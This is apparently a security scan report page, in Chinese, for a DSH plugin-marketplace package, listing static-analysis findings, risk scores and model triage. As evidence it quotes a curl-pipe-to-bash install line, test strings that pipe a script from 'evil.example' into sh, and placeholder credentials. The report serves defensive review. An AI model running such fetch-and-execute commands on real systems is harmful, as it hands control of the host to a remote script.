Harness Trust
搜索插件、npm 包名或仓库
返回插件页
安全检测报告

dsh-plugin-marketplace高风险77/100

@bradeGithub
插件市场GitHub 源码安装（需 allowBuilds）代码行为与描述一致

面向 GitHub dsh-plugin 话题的插件与技能市场：设置页内逛自动收录的全量索引（CI 每 2 小时刷新），一键安装带类型识别、安装脚本与宿主依赖遮蔽安全检查、环境变量密钥管理，并附 STANDARD.md 识别层规范。

插件页查看仓库原始报告
Star134GitHub · 仅用于排序
npm 周下载—未发布到 npm
固定 commitd899aed1c42026-08-22
扫描时间2026-08-22 08:20 UTCHT-DSH-0.2.2

检测结论

REVIEW · HT-DSH-0.2.2 · d899aed

该插件为 DSH 插件市场，声明功能为浏览/安装带 dsh-plugin 话题的第三方插件并做安全检查。两条命中均为静态规则的误报式高风险标记：lib/index.js 中的 env 读取实为主动过滤敏感变量的安全机制（sanitized）；scripts 目录下的探测脚本使用 GITHUB_TOKEN 仅是构建期向 GitHub 官方 API 鉴权，属于正常功能用途（functional），非运行时插件对用户凭据的滥用。整体代码行为与声明意图一致，需用户注意的是 cordis.patch.yml 将插件注入 webServer，但该补丁本身未涉及凭据或网络异常外泄。

有效发现（置信度 ≥ 中）:严重 0高 1中 2低 11· 原始命中 39 · 低置信度不计入 25
安装
高风险状态下不提供一键安装。读完下方 1 项高风险证据后，请自行决定并手动安装。
跳到高风险证据

检测明细

每层做了什么、跑没跑、有效发现数
L0来源身份npm 元数据 ↔ 仓库已完成1 项
L1供应链安装脚本 · 未固定依赖 · 锁文件无锁文件0 项
L1已知漏洞OSV.dev · 仅生产依赖闭包无锁文件0 项
L2静态分析92 个文件 · 原始命中 38已完成13 项
L2.5模型研判sonnet · 5/5已完成5 项
L3权限清单覆盖宿主行 0 · 安全关键 0 · 敏感 0已完成0 项
L4隔离动态运行容器 · 假凭据金丝雀 · 出站记录未执行—
L5人工复核申诉 72 小时内复核未执行—
未执行的层不构成通过；只有“已完成”的层提供了证据。分数 = 100 − 去重规则罚分（严重 35 / 高 16 / 中 5 / 低 1），只用于同策略版本内排序。

权限清单 · cordis patch 解析

插件安装后会改变宿主的哪些行
插入的行1
覆盖/禁用的宿主行0
!!js 表达式0
浏览器端 bundleweb
覆盖的宿主行
没有覆盖任何 dsh-base 宿主行。
安全关键 seam · 未改动
sandboxsandbox-policybash-sandboxpwsh-sandboxapprovalpermissioncredentialssubprocessshell-envfs-observation-policy
“未改动”只说明该插件的 patch 没有覆盖这些行；插件代码仍以宿主进程权限运行。
插入的行
plugin-marketplace · dsh-plugin-marketplace
源码中出现的外部主机
api.github.comcdn.jsdelivr.netregistry.npmmirror.comevil.com
只是字符串出现，不等于运行时一定访问；用于核对插件声称的服务商与实际目的地是否一致。

证据

14 项有效 · 按严重度排序 · 严重项不折叠
高HT-EXEC-002远程脚本直连 Shell 执行
置信度 高L2 · 静态分析
install.sh:6GitHub
6curl -sL https://raw.githubusercontent.com/bradeGithub/DSH-Plugins-Marketplace/main/install.sh | bash
模型研判功能所需

该行为README/注释中展示的推荐一键安装命令，是插件'一键安装'能力的入口，脚本内部还优先尝试官方 dsh CLI 安装，非隐蔽执行。

远端内容未经落盘、校验或审阅即执行，来源一旦被篡改就可直接控制宿主。
修复建议先下载并校验固定哈希，再由用户显式执行。
中HT-DATA-001同一模块同时接触凭据与网络
置信度 中L2 · 静态分析
scripts/build-registry.mjs:52GitHub
52credential access at line 52 + outbound network at line 109
模型研判功能所需

TOKEN 取自 GITHUB_TOKEN/GH_TOKEN，仅用于向 GitHub Search/Contents API 发起认证请求以构建插件索引，符合'CI每2小时刷新全量索引'的声明用途。

同一执行边界同时拥有秘密读取和对外发送能力，已形成直接的数据外传路径；对模型接入类插件这通常是功能本身。
修复建议拆分能力边界、限定目的域名，并证明不会发送凭据值。
中HT-DATA-001同一模块同时接触凭据与网络
置信度 中L2 · 静态分析
scripts/verify-installability.mjs:32GitHub
32credential access at line 32 + outbound network at line 41
模型研判功能所需

verify-installability.mjs 是构建期探测脚本，tokenOf() 读取 GITHUB_TOKEN/GH_TOKEN 仅用于向 GitHub 官方 API（fetch 调用）鉴权探测仓库结构，凭据流向与其归属服务一致。

同一执行边界同时拥有秘密读取和对外发送能力，已形成直接的数据外传路径；对模型接入类插件这通常是功能本身。
修复建议拆分能力边界、限定目的域名，并证明不会发送凭据值。
低等级发现 11 项 · 计入结论但不改变状态展开
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
lib/index.jsGitHub
1spawnSync
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
lib/index.jsGitHub
1node:child_process
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/coverage.mjs:9GitHub
9execFileSync
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/coverage.mjs:9GitHub
9node:child_process
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/hooks/check.mjs:14GitHub
14execFileSync
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/hooks/check.mjs:14GitHub
14node:child_process
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/mutation-test.mjs:30GitHub
30spawnSync
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/mutation-test.mjs:30GitHub
30node:child_process
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/verify-installability.mjs:17GitHub
17execFileSync
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/verify-installability.mjs:17GitHub
17node:child_process
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-IDENTITY-001npm 包声明的仓库与收录仓库不一致
置信度 中L0 · 来源身份
package.jsonnpm
1npm repository=git+https://github.com/Scorp1o117/dsh-plugin-marketplace.git ≠ bradegithub/dsh-plugins-marketplace
修复建议安装前人工核实包的发布者；作者应在 package.json 中声明正确的 repository 并启用 provenance。
低置信度命中 25 项 · 不计入结论展开
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
install.sh:31GitHub
31curl|bash
模型研判占位/示例

install.sh:31 只是注释文字'curl|bash 模式 = 无路径'，用于说明下载分支逻辑，并非实际的 curl|bash 执行代码。

修复建议先下载并校验固定哈希，再由用户显式执行。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/e2e/install.e2e.mjs:12GitHub
12execFileSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/e2e/install.e2e.mjs:12GitHub
12node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
scripts/tests/e2e/install.e2e.mjs:833GitHub
833curl | sh
规则备注 · 更像是展示给用户的安装提示字符串，而非程序自行执行；位于测试、示例或文档目录
修复建议先下载并校验固定哈希，再由用户显式执行。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
scripts/tests/e2e/install.e2e.mjs:837GitHub
837curl -s https://evil.example/x.sh | sh
规则备注 · 更像是展示给用户的安装提示字符串，而非程序自行执行；位于测试、示例或文档目录
修复建议先下载并校验固定哈希，再由用户显式执行。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/e2e/workspace-trap.e2e.mjs:16GitHub
16execFileSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/e2e/workspace-trap.e2e.mjs:16GitHub
16node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/integration/install-scripts.test.mjs:13GitHub
13execFileSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/integration/install-scripts.test.mjs:13GitHub
13spawnSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/integration/installed-load.test.mjs:10GitHub
10spawnSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/integration/installed-load.test.mjs:10GitHub
10node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/integration/lib.test.mjs:813GitHub
813node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
scripts/tests/integration/lib.test.mjs:1355GitHub
1355curl -s https://evil.example/x.sh | sh
规则备注 · 命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录
修复建议先下载并校验固定哈希，再由用户显式执行。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
scripts/tests/integration/lib.test.mjs:1362GitHub
1362curl -s https://evil.example/x.sh | sh
规则备注 · 命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录
修复建议先下载并校验固定哈希，再由用户显式执行。
严重HT-SECRET-001疑似硬编码凭据
置信度 低L2 · 静态分析
scripts/tests/integration/lib.test.mjs:262GitHub
262AKIAIOSFODNN7EXAMPLE
规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录
修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。
高HT-OBFUSCATION-001源码呈现混淆或载荷隐藏特征
置信度 低L2 · 静态分析
scripts/tests/integration/lib.test.mjs:77GitHub
77Buffer.from(typeof payload === "string" ? payload : JSON.stringify(payload)), }; }; return { orig, bodies }; } (async () => { const lib = await import(
规则备注 · 解码后直接进入执行；位于测试、示例或文档目录
修复建议以可读源码分发；若必须打包，请提供可复现构建与 source map。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/manual/real-install-verify.mjs:14GitHub
14execFileSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/manual/real-install-verify.mjs:14GitHub
14node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/run.mjs:10GitHub
10execFileSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/run.mjs:10GitHub
10node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
严重HT-SECRET-001疑似硬编码凭据
置信度 低L2 · 静态分析
scripts/tests/unit/redact.test.mjs:38GitHub
38glpat-AbCdEfGhIjKlMnOpQrSt
规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录
修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。
严重HT-SECRET-001疑似硬编码凭据
置信度 低L2 · 静态分析
scripts/tests/unit/redact.test.mjs:38GitHub
38glpat-AbCdEfGhIjKlMnOpQrSt
规则备注 · 包含占位/示例词汇；位于测试、示例或文档目录
修复建议立即吊销凭据，并改用 DSH 凭据服务或环境引用。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/unit/security-guards.test.mjs:76GitHub
76spawnSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
低HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
scripts/tests/unit/security-guards.test.mjs:80GitHub
80spawnSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令，并公开参数与审批策略。
高HT-DATA-001同一模块同时接触凭据与网络
置信度 低L2 · 静态分析
lib/index.js:123GitHub
123credential access at line 123 + outbound network at line 331
模型研判已清洗

buildMinimalEnv 仅从 SCRIPT_ENV_KEYS 白名单（PATH/HOME 等非敏感系统变量）读取 process.env，且与之配套的 buildFilteredEnv 用 isSensitiveEnvKey 主动剔除 TOKEN/KEY/SECRET 等敏感变量，未接触真实凭据。

修复建议拆分能力边界、限定目的域名，并证明不会发送凭据值。

依赖漏洞 · L1

未执行：无锁文件。没有锁文件就没有确定的依赖树，我们不会拿声明范围猜版本去查。

身份与来源

GitHubbradeGithub/DSH-Plugins-Marketplace固定 commitd899aed1c4fc · 2026-08-22内容摘要sha256:c7333329d8342ded…npmdsh-plugin-marketplace@0.2.8 · 9 个版本最近发布2026-08-21 10:43 UTCrepository 字段指向其他仓库发布来源证明无 provenance维护者1发布包 ↔ 源码未比对收录日期2026-08-16

宿主能力

范围，不是结论
Agent 控制浏览器 UI凭据环境变量文件系统Host BundleMCP外部网络宿主子进程遥测
能力标签来自源码中的 API 使用模式：插件读文件、访问网络、创建子进程、读取凭据都会被标出。很多能力是功能所需；有没有问题看上面的证据。

检测覆盖

源码获取已完成
manifest 解析已完成
bundle 配置已完成
依赖锁定无锁文件
已知漏洞查询无锁文件
来源身份已完成
发布包 ↔ 源码比对未比对
模型研判已完成
隔离动态运行未执行
人工复核未执行

时间线

全站变化 →
2026-08-22 08:20 UTC高风险
HT-DSH-0.2.2 · d899aed
策略升级到 HT-DSH-0.2.2
2026-08-21 11:18 UTC高风险
HT-DSH-0.2.1 · d0cc2c1
策略升级到 HT-DSH-0.2.1
2026-08-21 10:46 UTC高风险
HT-DSH-0.2.0 · 679b2e0
首次扫描

徽章

贴进 README，点击回到本页
Harness Trust: 高风险
[![Harness Trust](https://dshmod.com/badge/bradegithub-dsh-plugins-marketplace.svg)](https://dshmod.com/plugins/bradegithub-dsh-plugins-marketplace)
API 文档
徽章文案只有风险状态与策略版本，状态变化时自动更新。

已知限制与申诉

作者或用户认为某项发现不成立？提交申诉，我们在 72 小时内复核并公开处理记录。

提交申诉原始报告 JSON